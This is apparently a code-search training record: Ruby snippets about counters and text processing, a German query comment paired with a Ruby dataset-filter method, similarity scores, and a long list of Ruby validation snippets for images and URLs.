increment(points_count)\n\t\t@story_count += 1\n\t\t@points_count += points_count\n\tend", "def count number\r\n number.times do\r\n number += 1\r\n end\r\nend", "def increment_franken\n @count_franken += 1\n @total_count += 1\n end", "def increment_guess_count(guesses_made)\n guesses_made = guesses_made + 1\nend", "def count_and_say(sequence)\n\treturn 0 if sequence == nil\n\tsequence = sequence.to_s\n\tn = sequence.to_s.size\n result = ''\n\ti = 1\n\trepeat = sequence[0]\n\ttimes = 1\n\twhile (i<=n) do\n\t\tif sequence[i] == repeat\n\t\t\ttimes += 1\n else\n \tresult += times.to_s + repeat.to_s\n \ttimes = 1\n repeat \t= sequence[i].to_i\n end\n i+=1\n end \n\treturn result \nend", "def stickers_for(phrase)\n sticker_count = 0\n phrase.delete!(\" \")\n\n until phrase.empty?\n \"instagram\".each_char do |char|\n if phrase.include?(char)\n idx = phrase.index(char)\n phrase = phrase[0...idx] + phrase[idx+1..-1]\n end\n end\n \n sticker_count += 1\n end\n\n sticker_count\nend", "def increment(n = 1)\n @quantity += n\n end", "def increment_counter(counter_name, id)\n update_all \"#{counter_name} = #{counter_name} + 1\", \"#{primary_key} = #{id}\"\n end", "def __to_inc__\n self\n end", "def increment(node)\n change_by node, 1\n end", "def scrolling_text(text)\n # Good luck\n results = []\n counter = text.length\n new_text = text.upcase \n\n counter.times do \n results << new_text\n head = new_text[0]\n tail = new_text[1..-1]\n new_text = tail + head\n \n end\n results\nend", "def on_inc\n end", "def bottle_song_lyrics(n)\n bottle_counter = n\n bottles_remaining = n-1\n song = \"\"\n while bottle_counter >= 1\n if bottle_counter > 1\n song << \"#{bottle_counter} bottle of beer on the wall, #{bottle_counter} bottle of beer. Take one down, pass it around, #{bottles_remaining} bottle of beer on the wall! \"\n else\n song << \"1 bottle of beer on the wall, 1 bottle of beer. Take one down, pass it around, no more bottles of beer on the wall!\"\n end\n bottle_counter -= 1\n bottles_remaining -=1\n end\n song\nend", "def phrase_length\n 1\n end", "def input_to_index(input_text)\n user_input = input_text.to_i\n user_input -= 1\n return user_input\nend", "def increment_quantity\n @quantity += 1\n end", "def increment_click_count!\n self.increment! :click_count\n end", "def sing_loop(starting_verse, ending_verse=0)\n starting_verse.downto(ending_verse).inject(\"\") do |song, verse_number|\n song << verse(verse_number) + \"\\n\"\n end\n end", "def my_counter_function()\n puts(\"Text:\");\n text = gets().chop().downcase; # \"Hallo\"\n puts (\"Buchstabe:\") ;\n letter = gets()[0 ,1].downcase; #wir speichern nur den ersten Buchstaben\n count = count_occurrences(text,letter);\n puts(\"Der Buchstabe '\" + letter + \"' kommt \" + count.to_s() + \" mal vor.\");\nend", "def reverso_bot(string)\r\n\tstring = string.split.(\"\")\r\n\treversed = []\r\n\treversed << string.size.times\r\n\treversed.join\r\nend", "def take_a_number(katz_deli, person)\n katz_deli.push(person)\n new_person_in_line = \" \"\n katz_deli.each_with_index do |item,index|\n new_person_in_line = \"Welcome, #{item}. You are number #{index + 1} in line.\"\n end\n puts new_person_in_line\n end", "def increment_transaction_count!\n @transaction_count += 1\n end", "def trigram_count()\n\t@corpus.each { |sentence_arr|\n\t prev_word_1 = \"\"\n\t prev_word_2 = \"\"\n\t sentence_arr.each { |word|\n\t\tif(prev_word_1 != \"\" && prev_word_2 != \"\")\n\t\t @trifreq[prev_word_1 + \" \" + prev_word_2 + \" \" + word] += 1\n\t\telsif(prev_word_1 == \"\" && prev_word_2 != \"\")\n\t\t @trifreq[\"PHI \"+prev_word_2+\" \"+word] += 1\n\t\telsif(prev_word_1 == \"\" && prev_word_2 == \"\")\n\t\t @trifreq[\"PHI PHI \"+word] += 1\t\n\t\tend \t \t\n\t\tprev_word_1 = prev_word_2 \n\t\tprev_word_2 = word\n\t }\n\t}\n end", "def inc_seq_no!()\n @seq_no += 1\n return(nil)\n end", "def check_phrase keywords, phrase\n\t\tphrase.split(/\\W/).each do |word|\n\t\t\tbreak unless word.length > 3\n\t\t\tword = word.downcase\n\t\t\tunless keywords.include? word\n\t\t\t\tkeywords.merge!({\"#{word}\" => 1})\n\t\t\telse\n\t\t\t\tnum = keywords.values_at(\"#{word}\")[0]\n\t\t\t\tkeywords.update({\"#{word}\" => num+1})\n\t\t\tend\n\t\tend\n\tend", "def increment\n if @seed < @max\n @seed += 1\n else\n @seed = 0\n end\nend", "def step_3\n\t\tmessage_array = @message.downcase.split(\"\")\n\t\t@message_num_array = []\n\t\tmessage_array.each do |letter|\n\t\t\t@message_num_array << (@alphabet.index(letter) + 1)\n\t\tend\n\t\t@message_num_array\n\tend", "def inc(cb)\n c = 0\n additive = 0\n left_32 = cb.slice(12..15)\n while c<=4\n additive += left_32(c)\n c+=1\n end\n additive %= 4\n cb = cb.setbyte(15,additive)\nend", "def increment(start, inc)\n\t\t\t\tProc.new{start +=inc}\nend", "def number lines\n lines.each_with_index.map { |x,i| \"#{i + 1}: #{x}\" }\nend", "def inc_c\n end", "def look_and_say(n)\n prev = \"1\"\n curr = \"\"\n\n while(n > 1)\n i = 0\n\n while(i < prev.length)\n\n char = prev[i]\n count = count_digits(i, prev)\n i += count\n\n curr << count.to_s << char\n end\n\n prev = curr.dup\n curr = \"\"\n n -= 1\n end\n\n prev\nend" ]
[ "0.6759258", "0.6751687", "0.6717209", "0.6641107", "0.66036105", "0.6528965", "0.6526568", "0.6378939", "0.6360136", "0.62941444", "0.6285763", "0.62690973", "0.62490773", "0.6212764", "0.6211495", "0.61825967", "0.61796904", "0.61188596", "0.6092671", "0.60913706", "0.6071133", "0.6066539", "0.60569245", "0.605434", "0.602214", "0.598685", "0.59636074", "0.5952855", "0.594634", "0.5936568", "0.59276664", "0.59257686", "0.59257686", "0.59255487", "0.5917836", "0.5907454", "0.59048253", "0.5895101", "0.5894564", "0.58854896", "0.5858887", "0.5850468", "0.58446753", "0.58433324", "0.58433324", "0.58421636", "0.58401185", "0.5839585", "0.5839145", "0.58279043", "0.58238614", "0.5805884", "0.5799193", "0.5776999", "0.5772958", "0.5766696", "0.5761403", "0.57497036", "0.5731762", "0.5716393", "0.5715562", "0.5713826", "0.5712112", "0.5712112", "0.5704682", "0.5701136", "0.56939644", "0.5693147", "0.56842893", "0.5680573", "0.5666972", "0.5656801", "0.56452686", "0.5638503", "0.56287146", "0.562209", "0.5613286", "0.5605212", "0.5594812", "0.5592005", "0.55832887", "0.5583135", "0.5576269", "0.55736303", "0.5568916", "0.5561827", "0.5560211", "0.5556848", "0.5554776", "0.5553646", "0.5549899", "0.5538068", "0.5534531", "0.5534441", "0.5529582", "0.5526637", "0.5524956", "0.55227447", "0.55142725", "0.55065805", "0.5504872" ]
0.0
-1
das sollte man mit einer dieser anonymen funktionen ersetzen
def getassociated(type) self.forward_items_dataset.filter("content LIKE '%type\":\"#{type}%'") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def schubert; end", "def suivre; end", "def zuruecksetzen()\n end", "def private; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def anchored; end", "def schumann; end", "def aon; end", "def refutal()\n end", "def probers; end", "def feruchemist; end", "def jack_handey; end", "def formation; end", "def terpene; end", "def invention; end", "def who_we_are\r\n end", "def relatorios\n end", "def intensifier; end", "def romeo_and_juliet; end", "def custom; end", "def custom; end", "def malts; end", "def scientist; end", "def rossini; end", "def verdi; end", "def offences_by; end", "def synonyms; end", "def heroine; end", "def masteries; end", "def specialty; end", "def weber; end", "def set; end", "def set; end", "def funktionsname\n\tanweisung\nend", "def singular_siegler; end", "def isolated; end", "def isolated; end", "def villian; end", "def wrapper; end", "def aliases=(_arg0); end", "def aliases=(_arg0); end", "def specialist_setting\n\tend", "def herald; end", "def buzzword; end", "def buzzword; end", "def alias_manager(covert_spy_name)\n\n spy_name = covert_spy_name.downcase.split(' ')\n reversed_spy_name = spy_name.reverse\n first_name = reversed_spy_name.first.to_s\n last_name = reversed_spy_name.last.to_s\n full_name = first_name + \" \" + last_name\n full_name_id = full_name.gsub(/[abcdefghijklmnopqrstuvwxyz]/, 'a' => 'e', 'b' => 'c', 'c' => 'd', 'd' => 'f', 'e' => 'i', 'f' => 'g', 'g' => 'h', 'h' => 'j', 'i' => 'o', 'j' => 'k', 'k' => 'l', 'l' => 'm', 'm' => 'n', 'n' => 'p', 'o' => 'u', 'p' => 'q', 'q' => 'r', 'r' => 's', 's' => 't', 't' => 'v', 'u' => 'a', 'v' => 'w', 'w' => 'x', 'x' => 'y', 'y' => 'z', 'z' => 'b')\n full_name_idx = full_name_id.split.map {|x| x.capitalize}.join(' ')\nend", "def ismn; end", "def gounod; end", "def berlioz; end", "def silly_adjective; end", "def sea; end", "def autofinish=(_arg0); end", "def offences_by=(_arg0); end", "def strain; end", "def nasa_space_craft; end", "def witcher; end", "def _autonyms\n @autonyms\n end", "def starship; end", "def sonido()\n return super << \" miaaauuu\"\n end", "def in_law; end", "def placebo?; false end", "def unusual_sport; end", "def the_doctor; end", "def monica\n end", "def bellini; end", "def appraisals; end", "def appraisals; end", "def extra; end", "def celebration; end", "def eplore\n end", "def droid; end", "def aliases; end", "def aliases; end", "def aliases; end", "def transact; end", "def trd; end", "def same; end", "def strategy; end", "def mi_carrera\n\n\tend", "def anatomy; end", "def alias_of; end", "def registers; end", "def sitemaps; end", "def escaper=(_); end", "def lookup_new_swimmer\n \n end", "def treat_reserved_as_conflict; end", "def king_richard_iii; end", "def transformations; end", "def yoda; end", "def letzte_komponente\n \n end", "def first_name_men; end", "def whiny=(_arg0); end", "def original; end", "def internship_passed; end", "def monster; end", "def monster; end", "def probers=(_arg0); end", "def identify; end" ]
[ "0.6883975", "0.6859791", "0.67669916", "0.67391664", "0.66260666", "0.66260666", "0.66260666", "0.66260666", "0.6461506", "0.623562", "0.6162729", "0.6142306", "0.61265355", "0.6108109", "0.6074522", "0.6066602", "0.6064716", "0.6044759", "0.6036589", "0.59727937", "0.593087", "0.5919453", "0.5915604", "0.5915604", "0.5901717", "0.5874575", "0.5853279", "0.5833011", "0.5824412", "0.5821079", "0.58158886", "0.58118373", "0.5801787", "0.5795841", "0.57795364", "0.57795364", "0.57664174", "0.5759134", "0.5744365", "0.5744365", "0.57284486", "0.5726865", "0.57096857", "0.57096857", "0.5701892", "0.56963927", "0.5696222", "0.5696222", "0.5684146", "0.568146", "0.56809926", "0.56796384", "0.5678207", "0.5663723", "0.56457096", "0.563424", "0.5614526", "0.56141704", "0.5609935", "0.5600264", "0.55961925", "0.55954534", "0.55950546", "0.55939174", "0.55933523", "0.5583358", "0.5583319", "0.55826163", "0.55701244", "0.55701244", "0.5563878", "0.55600184", "0.5551746", "0.55437934", "0.5534771", "0.5534771", "0.5534771", "0.55343735", "0.5532948", "0.5531724", "0.55302256", "0.5528608", "0.55173683", "0.5507157", "0.54935604", "0.548892", "0.5483198", "0.5469775", "0.54569256", "0.54434997", "0.54412067", "0.5436492", "0.5431703", "0.54316217", "0.543146", "0.5427301", "0.5426203", "0.54066896", "0.54066896", "0.5403081", "0.53990823" ]
0.0
-1
validates_presence_of :main_image_url, :unless => "main_image_file_name.present?" validates_presence_of :main_image_file_name, :unless => "main_image_url.present?"
def main_image_url? main_image_source == ImageSource::URL end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def validates_presence_of_urls\n if provider_media_id.blank?\n !( source_url.blank? || thumbnail_url.blank? || content_url.blank? )\n else\n true\n end\n end", "def valid_image_url(url)\n !url.images.first.src.to_s.starts_with?('/')\nend", "def image_presence\n errors.add(:image, \"Image must be attached.\") unless image.attached?\n end", "def validate_images_alt_present\n errors.add('body', I18n.t('drgcms.img_alt_not_present')) unless DcPage.images_alt_present?(self.body)\nend", "def validate_upload\n validate_image_length\n validate_image_type\n validate_image_md5sum\n validate_image_name\n end", "def validates_attachment_presence name, options = {}\n message = options[:message] || \"must be set.\"\n attachment_definitions[name][:validations] << [:presence, {:message => message,\n :if => options[:if],\n :unless => options[:unless]}]\n end", "def validate_uniqueness_of_new_image_url\n self.errors[:\"image.url\"] = 'Image url has already been added to this collection' if self.dup_image?\n end", "def validate\n if self.filename.nil?\n errors.add_to_base(\"You must choose an image to upload\")\n else\n [:size, :content_type].each do |attr_name|\n enum = attachment_options[attr_name]\n\n unless enum.nil? || enum.include?(send(attr_name))\n errors.add_to_base(\"Images should be smaller than #{MAX_SIZE_IN_MB} MB in size\") if attr_name == :size\n errors.add_to_base(\"Your image must be either a JPG, PNG or GIF\") if attr_name == :content_type\n end\n end\n end\n end", "def validate\n\tvalidate_unexpected_assets_not_present && validate_expected_asset_present && validate_snippet_and_description\nend", "def image_url_provided?\n !self.image_url.blank?\n end", "def ignore_blanks_and_duplicates\n if (self.image_file_name.nil? || self.image_file_name.blank?) && (self.unique_image_file_name.nil? || self.unique_image_file_name.blank?)\n self.errors[:unique_image_file_name].push 'cannot be blank unless uploading from a browser'\n return false\n end\n \n master = self.variant.product.master\n if !master.nil?\n master.variant_images.each do |i|\n if i.unique_image_file_name==self.unique_image_file_name \n self.errors[:unique_image_file_name].push 'is a duplicate with a master image'\n return false\n end\n end\n end\n end", "def valid_file\n\n filename = self.file.original_filename\n content_type = self.file.content_type\n\n #The upload should be nonempty.\n if filename == nil\n errors.add(:base, \"Please enter an image filename\")\n return false\n end\n\n #The upload should have file suffix.\n unless filename =~ /\\.(jpg)|(jpeg)|(png)|(gif)$/i\n errors.add(:base, \"Please use image file with a filename suffix\")\n return false\n end\n\n #The file should be an image file.\n unless content_type =~ /^image/\n errors.add(:content_type, \"is not a recognized format\")\n return false\n end\n return true\n end", "def validates_attachment_presence(*fields)\n opts = opts_from_validator_args(fields)\n add_validator_to_context(opts, fields, Paperclip::Validate::RequiredFieldValidator)\n end", "def validate_job_seeker_photo\r\n if not self.photo_file_name .blank?\r\n if not self.photo_content_type.match(/image|png|jpg|jpeg|gif/)\r\n errors.add(\"Photo\",\"Only image file allowed\")\r\n end\r\n end\r\n end", "def valid_file\n\n filename = self.file.original_filename\n content_type = self.file.content_type\n\n #The upload should be nonempty.\n if filename == nil\n errors.add_to_base(\"Please enter an image filename\")\n return false\n end\n\n #The upload should have file suffix\n unless filename =~ /\\.(jpg)|(jpeg)|(png)|(gif)$/i\n errors.add_to_base(\"Please use image file with a filename suffix\")\n return false\n end\n\n #The file should be an image file.\n unless content_type =~ /^image/\n errors.add(:content_type, \"is not a recognized format\")\n return false\n end\n return true\n end", "def validate\n assert_present :name\n assert_url :image\n end", "def validate!\n if identifier.to_s.empty?\n raise ValidationError.new(\"identifier is required\")\n elsif caption.to_s.empty?\n raise ValidationError.new(\"a change in the image caption is required\")\n else\n true\n end\n end", "def url_must_be_valid\n url.blank? ||\n (url_is_remote? and url_has_suffix? and url_matches?) ||\n errors.add(:url, :invalid)\n end", "def validate_filename(_item)\n nil\n end", "def validates_as_attachment\n validates_presence_of :size, :content_type, :filename\n validate :attachment_attributes_valid?\n end", "def filename_present_only_if_job_successful\n if state == SUCCESS && filename.blank?\n errors.add :filename, \"can't be blank if the job state is SUCCESS\"\n elsif state != SUCCESS && filename.present?\n errors.add :filename, \"must be blank if the job state is different from SUCCESS\"\n end\n end", "def url_is_valid\n errors.add(:url, \"url is not valid\") unless is_http_url? || is_spotify_url?\n end", "def check_file_size\n valid?\n errors[:image_file_size].blank?\n end", "def valid?\n !(image_too_small? || image_too_big?)\n end", "def no_attachment_errors\n unless label_image.errors.empty?\n # uncomment this to get rid of the less-than-useful interrim messages\n # errors.clear\n errors.add :label_image, \"Paperclip returned errors for file '#{label_image_file_name}' - check ImageMagick installation or image source file.\"\n false\n end\n end", "def validate\n if filename.nil?\n errors.add_to_base(\"You must choose a file to upload\")\n else\n # Images should only be GIF, JPEG, or PNG\n enum = attachment_options[:content_type]\n unless enum.nil? || enum.include?(send(:content_type))\n errors.add_to_base(\"You can only upload images (GIF, JPEG, or PNG)\")\n end\n # Images should be less than UPLOAD_LIMIT MB.\n enum = attachment_options[:size]\n unless enum.nil? || enum.include?(send(:size))\n msg = \"Images should be smaller than #{UPLOAD_LIMIT} MB\"\n errors.add_to_base(msg)\n end\n end\n end", "def validate\n needs :http_url unless http_url\n end", "def picture_missing?\n self.image.url.include?(\"https://profilepicturesdp.com/wp-content/uploads/2018/06/default-good-youtube-profile-pictures-3.jpg\")\n end", "def no_image_errors\n unless image.errors.empty?\n errors.add :image, \"Paperclip returned errors for file '#{image_file_name}' - check ImageMagick installation or image source file.\"\n false\n end\n end", "def validate\n unless attachment.errors.empty?\n # uncomment this to get rid of the less-than-useful interrim messages\n # errors.clear \n errors.add :attachment, \"Paperclip returned errors for file '#{attachment_file_name}' - check ImageMagick installation or image source file.\"\n false\n end\n end", "def validate_image_name\n name = upload_original_name.to_s\n name = name.sub(/^[a-zA-Z]:/, \"\")\n name = name.sub(%r{^.*[/\\\\]}, \"\")\n # name = '(uploaded at %s)' % Time.now.web_time if name.empty?\n name = name.truncate(120)\n return unless name.present? && User.current &&\n User.current.keep_filenames != \"toss\"\n\n self.original_name = name\n end", "def validates_image_upload_of(*attr_names)\n configuration = {\n :message => ' is disallowed image format',\n :content_type => [\n \"image/png\",\n \"image/x-png\",\n \"image/jpeg\",\n \"image/pjpeg\",\n \"image/gif\"\n ]\n }\n options = attr_names.pop if attr_names.last.is_a?(Hash)\n configuration.update options unless options.blank?\n attr_names.push configuration\n validates_file_upload_of(*attr_names)\n end", "def picture_validation\n if picture.attached?\n if picture.blob.byte_size > 2000000\n picture.purge\n errors[:base] << 'Maksymalny rozmiar logo klanu to 2MB'\n elsif !picture.blob.content_type.starts_with?('image/')\n picture.purge\n errors[:base] << 'Zły format'\n end\n else\n errors[:base] << 'Logo klanu jest obowiązkowe.'\n end\n end", "def validate_photo\n unless photo.errors.empty?\n # uncomment this to get rid of the less-than-useful interrim messages\n # errors.clear\n errors.add :attachment, \"Paperclip returned errors for file '#{photo_file_name}' - check ImageMagick installation or image source file.\"\n false\n end\n end", "def valid_file?\n if @image.size.zero?\n errors.add_to_base(\"Please enter an image filename\")\n return false\n end\n unless @image.content_type =~ /^image/\n errors.add(:image, \"is not a recognized format\")\n return false\n end\n if @image.size > 1.megabyte\n errors.add(:image, \"can't be bigger than 1 megabyte\")\n return false\n end\n return true\n end", "def validate_full_url\n if self.full_url.nil?\n return\n end\n\n if((self.full_url =~ URI::regexp(\"http\")) == nil && (self.full_url =~ URI::regexp(\"https\")) == nil)\n self.errors.add(:full_url, \"Full url is not a valid url\")\n end\n end", "def has_shelby_avatar() !self.avatar_file_name.blank?; end", "def kyc_images_validation\n return unless document_uploaded?\n %w[selfie_picture govt_id_picture id_picture].each do |file|\n file = send(file)\n return errors[:base] << I18n.t('wrong_img_format') unless ( file.content_type =~ /^image\\/(jpeg|pjpeg|gif|png|bmp)$/ ) || ( file.content_type.in?([\"application/pdf\"]) )\n end\n end", "def validate_upload?\n upload? || review? || published? || unpublished_changes?\n end", "def identity_file_is_blank\n \t errors.add :base, l(:\"file.error.validation_indentity_file_blank\") if self.identity_file.blank?\n end", "def validate_name_and_url\n # check name and url_safe_name first and set validation error\n if self.name.blank? || self.name.nil?\n errors.add(:name, \" cannot be blank - please provide a name for your study.\")\n end\n if Study.where(name: self.name).any?\n errors.add(:name, \": #{self.name} has already been taken. Please choose another name.\")\n end\n if Study.where(url_safe_name: self.url_safe_name).any?\n errors.add(:url_safe_name, \": The name you provided (#{self.name}) tried to create a public URL (#{self.url_safe_name}) that is already assigned. Please rename your study to a different value.\")\n end\n end", "def consolidate_photo_validations\n\n [:photo_file_name, :photo_file_size, :photo_content_type].each do |name|\n if (err = errors.on(name))\n errors.add(:photo, err)\n break\n end\n end\n \n end", "def validate\n if( title =~ /^hc12/ || title =~ /^bthfck2/ )\n errors.add_to_base(\"Titles which begin with 'hc12' or 'bthfck2' are reserved!\" )\n end\n \n if( title =~ /[^\\s^_A-Z^a-z^0-9^-]/ )\n errors.add_to_base(\"Only digits, characters, '-' and blanks are allowed for the title!\")\n end\n\n if( ( bundle = Bundle.find_by_title(title) ) != nil )\n if( bundle.created_by_user_id != user_id )\n errors.add_to_base(\"This title is already used! Choose another one.\")\n end\n end\n \n if content_type\n unless( content_type =~ /^image\\/(png)|(jpeg)|(gif)/i )\n errors.add_to_base(\"Images must have the format jpg, png or gif\")\n end\n \n unless was_upload_successful\n errors.add_to_base(\"Image file is too big. It must be smaller then 300K\")\n end\n \n end\n \n end", "def filename_ok?(src)\n return false if src.nil? or src.empty?\n\n if src.match bad_image_names_regex\n log \"Found bad filename for image: #{src}\"\n false\n else\n true\n end\n end", "def image_presence\n if (columns | ExportJob.necessary_image_columns).present?\n image_present = columns.include?('image')\n mascot_present = columns.include?('school_mascot_image')\n \n students.each do |student|\n if image_present && !student.image?\n errors.add :base, 'Exported students must each have an image for this template'\n break\n elsif mascot_present && !student.school.mascot_image?\n errors.add :base, 'Exported students\\' schools must have a mascot image for this template'\n break\n end\n end\n end\n end", "def valid_image_data?\n\n #There should be image data.\n unless self.data?\n errors.add(:base, \"No image data.\")\n return false\n end\n\n #There should be large thumbnail data.\n unless self.large_thumb?\n errors.add(:base, \"No large thumbnail image data.\")\n return false\n end\n\n #There should be small thumbnail data.\n unless self.small_thumb?\n errors.add(:base, \"No small thumbnail image data.\")\n return false\n end\n\n return true\n end", "def should_validate_attachment_presence name\n klass = self.name.gsub(/Test$/, '').constantize\n context \"Class #{klass.name} validating presence on #{name}\" do\n context \"when the assignment is nil\" do\n setup do\n @attachment = klass.new.send(name)\n @attachment.assign(nil)\n end\n should \"have a :presence validation error\" do\n assert @attachment.errors[:presence]\n end\n end\n context \"when the assignment is valid\" do\n setup do\n @file = StringIO.new(\".\")\n @attachment = klass.new.send(name)\n @attachment.assign(@file)\n end\n should \"have a :presence validation error\" do\n assert ! @attachment.errors[:presence]\n end\n end\n end\n end", "def validate_file\n if (original_filename.nil?)\n self.errors.add(I18n.t('dias.views.paper.labels.pdffil'), I18n.t('dias.models.paper.validate.file'))\n elsif (mime_type != \"application/pdf\")\n self.errors.add(I18n.t('dias.views.paper.labels.pdffil'), I18n.t('dias.models.paper.validate.pdffile'))\n end\n end", "def reject_blank_assets\n #self.company_assets.each {|a| self.company_assets.delete(a) if a.file.url.to_s =~ /missing.png/ || a.file.blank?}\n end", "def check_url_validation\n errors.add(:url, I18n.t('url_not_proper')) unless UrlShort.is_valid? (url)\n end", "def image_url\n# Somehow the picture field returns false for 'nil?' regardless of wether it's set or not\n# So we'll have to check if the size of the url is 0 to see if it exists\n# There should be a better way to do this, probably?\nif self.picture.size == 0\n\tself.profile_picture.nil? ? 'image-unknown.jpg' : self.profile_picture\nelse \n\tself.picture.ava\nend\nend", "def verify_file_type\n if file_name\n allowed_types = %w(jpeg jpg png gif)\n\n unless allowed_types.include? file_name.split('.')[1]\n errors.add(:file_name, 'File is not an image.')\n end\n end\n end", "def preconditions_met?\n @images.all? do |image|\n txt_already_exists?(image)\n end\n end", "def correct_image_type\n if image.attached? && !image.content_type.in?(%w(image/jpeg image/gif image/png))\n errors.add(:image, :blank, message: I18n.t(\"validates.image_format\"))\n end\n end", "def validate_avatar\n if self.avatar.queued_for_write[:original]\n # self.errors.add(:change_pass)\n dimensions = Paperclip::Geometry.from_file(self.avatar.queued_for_write[:original])\n self.errors.add(:avatar, \"should at least 320px\") if dimensions.width > 320\n end\n end", "def file_name?\n !read_attribute('file_name').blank?\n end", "def image_1_is_from_google?\n !image_1_google_thumb.blank?\n end", "def no_attachment_errors\n unless attachment.errors.empty? and !attachment_file_name.blank?\n # uncomment this to get rid of the less-than-useful interrim messages\n # errors.clear\n errors.add :attachment, \"Paperclip returned errors for file '#{attachment_file_name}' - check ImageMagick installation or image source file.\"\n false\n end\n end", "def no_images_error\n create_error(\n validation_type: :image_sequence,\n human_message: \"No image filenames recognized.\",\n extras: {image_count: 0}\n )\n end", "def perform\n puts \">>>>>>>>>>>>>>>>>>>>>>>>>>>>> Validating picurl with url '#{url}' and picurl '#{picurl}'\"\n thumbnail.update_thumb if thumbnail\n end", "def validate_image_values\n %w[l m s o].each do |size|\n field = \"size_#{size}\"\n value = send(field)\n next if value.blank?\n\n a = value.strip.split(/x|\\+/)\n a[0, 2].each { |e| errors.add(field, I18n.t('drgcms.not_valid')) unless e.to_i > 0 }\n end\nend", "def ok?\n !@image.nil? && !@mime_type.nil?\n end", "def url_filled?\n !url.blank?\n end", "def check_if_main_image\n self.main_image = self.class.count(:conditions => {:main_image => true, :product_id => product_id}).zero?\n # Since callbacks can cancel saving, return true to prevent it\n true\n end", "def validate_and_build_special_images(fileParams,file)\n # if Asset2.is_valid_file?(file)\n @special_image = @special.special_images.build(fileParams)\n # end\n end", "def validate_file_is_included\n if workflow_file.nil? && @file_data.nil?\n errors.add :workflow_file,\n \" missing, please select a file and try again\"\n end\n end", "def sanitize_image_url\n if self.image_url \n if self.image_url.first != \"h\"\n self.image_url = \"http://#{self.image_url}\"\n end\n end\n end", "def validate_layer_files(layer_filename, layer_num)\n found_layer_file = layers_upload.detect do |layer_upload|\n layer_upload['filename'] == layer_filename\n end\n return if found_layer_file\n\n @errors << layer_error_msg(\n layer_num,\n \"lists missing layer file: #{layer_filename}\"\n )\n end", "def validates_presence_of_final_calculation_prerequisite(name)\n return unless validators_on(name).empty?\n validates_presence_of name\n end", "def fails_required?\n if question.required\n if question.supports_uploads?\n uploaded_file.blank?\n else\n answer.blank?\n end\n end\n end", "def images? ; !(@images.nil? || @images.empty?) ; end", "def validate_metadata(metadata)\n raise 'the file id was not retrieved' if metadata.id.nil?\n raise 'the file name was not retrieved' if metadata.name.nil?\n raise 'the file web_content_link was not retrieved' if metadata.web_content_link.nil?\n raise 'the file web_view_link was not retrieved' if metadata.web_view_link.nil?\n raise 'the file trashed was not retrieved' if metadata.trashed.nil?\n end", "def contains_images?\n !@url.nil?\n end", "def validate_image(conn, image_name)\n unless conn.images.find {|x| x.name == image_name }\n @log.error \"Cannot find image with name: #{image_name}, available images: #{conn.images.map{|x| x.name}.join(', ')}\"\n abort\n end\n end", "def check_if_image?\n !(attachment_content_type =~ /^image.*/).nil?\n end", "def attached_file_valid?\n return false if file.nil?\n file_attacher.validate\n file_attacher.errors.each { |e|\n errors.add(:file, :invalid, message: e)\n }.empty?\n end", "def test_validate_patient_name_and_account_number_by_giving_invalid_data\n image_type_record = ImageType.new\n image_type_record.patient_first_name = \"RAJ.jk*-9\"\n image_type_record.patient_last_name = \"C)C.9-\"\n image_type_record.patient_account_number= \"gh.gh-&&89\"\n image_type_record.image_type = \"EOB\"\n image_type_record.save\n assert !image_type_record.valid?, image_type_record.errors.full_messages.to_s\n end", "def validate_url\n self.url = ExternalWork.format_url(self.url)\n errors.add_to_base(t('invalid_url', :default => \"Not a valid URL\")) unless self.url_active?\n end", "def has_image?\n false\n end", "def check_file_presence_on_update(params)\n if params[:financial_document][:file] == '{}' && params[:financial_document][:remove_file] == '1'\n errors.add(:file, I18n.t('errors.messages.blank'))\n return false\n else\n return true\n end\n end", "def validate_input_files\n file_validation = FileValidation.new(input_files)\n raise_error(file_validation.errors) unless file_validation.files_exist? \n raise_error(file_validation.errors) unless file_validation.files_are_ascii?\n true\n end", "def has_images?\n !@image_urls.empty?\n end", "def has_image?\n \t# self.image.file?\n true\n end", "def mods_assets_update_validation\n i = 0\n desc_metadata = params[:asset][:descMetadata]\n unless desc_metadata.nil?\n while desc_metadata.has_key? \"person_#{i}_computing_id\".to_sym\n if desc_metadata[\"person_#{i}_first_name\".to_sym][\"0\"].blank? or desc_metadata[\"person_#{i}_last_name\".to_sym][\"0\"].blank?\n flash[:error] = \"The First and Last names are required for all authors.\"\n return false\n end\n i += 1\n end\n end\n return true\n end", "def validate_job_seeker_url\r\n if not self.video_url .blank?\r\n if not self.video_url.match(/^(http|https):\\/\\/[a-z0-9]+([\\-\\.]{1}[a-z0-9]+)*\\.[a-z]{2,5}(([0-9]{1,5})?\\/.*)?$/ix)\r\n errors.add(\"URL\",\"Invalid URL\")\r\n end\r\n end\r\n end", "def ensure_attachment_present\n if attachments.empty?\n false\n else\n errors.add(:base, 'Attachment needed')\n true\n end\n end", "def image_url\n image.presence or (email.present? and gravatar_url) or Guest::IMAGE_URL\n end", "def validate\n super\n errors.add(:name, \"can't be empty\") if name.blank?\n errors.add(:category_id, \"can't be empty\") if category_id.blank?\n errors.add(:price, \"can't be empty\") if price.blank?\n end", "def valid_photo_attribute(add_attributes={})\n {\n :image_name => \"S_1.png\",\n :image_description => \"S\",\n :image_type => 1\n }.merge(add_attributes)\n end", "def valid_filename?(name)\n name.length.positive?\nend", "def valid_download?\n @download_url != \"\"\n end", "def validate\n super\n validates_presence :components unless initial?\n validates_presence :version\n end", "def validate_permalink!(filename)\n if self.data[\"permalink\"]&.to_s&.empty?\n raise Errors::InvalidPermalinkError, \"Invalid permalink in #{filename}\"\n end\n end", "def validate_file_status(filename)\n raise IconGenerator::Error unless File.exists? filename\n end", "def validate_social_media_url(spec)\n validate_url(spec.social_media_url, 'CocoaPods') if spec.social_media_url\n end", "def validate\n return unless no_file_selected? || invalid_extname? || filesize_too_big?\n\n raise CsvUploadFailureException, error\n end", "def name_is_valid\n errors.add(:name,'Invalid empty string for name.') unless name_is_valid?\n end", "def may_add_category_image(main_image)\n if main_image.present?\n if main_image.variable?\n # return main_image.variant(resize_to_limit: [1280, 1280]).processed.service_url rescue nil\n return main_image.service_url rescue nil\n else\n # TODO: log this exception\n return nil\n end\n else\n nil\n end\n end", "def valid_image(image_path)\n image_path.exist? && image_path.size < 32.kilobytes\n end", "def validate_nonempty_patterns(attr_name, message_type)\n return unless !file_accessor.spec_consumer.send(attr_name).empty? && file_accessor.send(attr_name).empty?\n\n add_result(message_type, 'file patterns', \"The `#{attr_name}` pattern did not match any file.\")\n end" ]
